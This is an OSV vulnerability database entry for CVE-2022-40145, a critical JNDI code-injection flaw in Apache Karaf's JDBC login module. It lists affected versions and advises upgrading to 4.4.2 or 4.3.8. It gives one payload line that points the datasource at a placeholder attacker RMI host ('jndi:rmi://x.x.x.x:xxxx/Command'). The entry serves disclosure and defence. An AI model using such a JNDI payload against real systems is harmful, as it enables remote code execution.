CVE-2022-40145

Source
https://nvd.nist.gov/vuln/detail/CVE-2022-40145
Import Source
https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2022-40145.json
JSON Data
https://api.osv.dev/v1/vulns/CVE-2022-40145
Aliases
Published
2022-12-21T16:15:08Z
Modified
2024-09-03T04:19:23.085304Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
[none]
Details

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

References

Affected packages

Git / github.com/apache/karaf

Affected ranges

Type
GIT
Repo
https://github.com/apache/karaf
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed

Affected versions

karaf-3.*

karaf-3.0.0

karaf-4.*

karaf-4.0.0
karaf-4.0.0.M1
karaf-4.0.0.M2
karaf-4.0.0.M3
karaf-4.0.1
karaf-4.0.2
karaf-4.0.3
karaf-4.0.4
karaf-4.1.0
karaf-4.1.1
karaf-4.2.0
karaf-4.2.0.M1
karaf-4.2.0.M2
karaf-4.2.1
karaf-4.2.2
karaf-4.2.3
karaf-4.3.0
karaf-4.3.0.RC1
karaf-4.3.1
karaf-4.3.2
karaf-4.3.3
karaf-4.3.4
karaf-4.3.5
karaf-4.3.6
karaf-4.3.7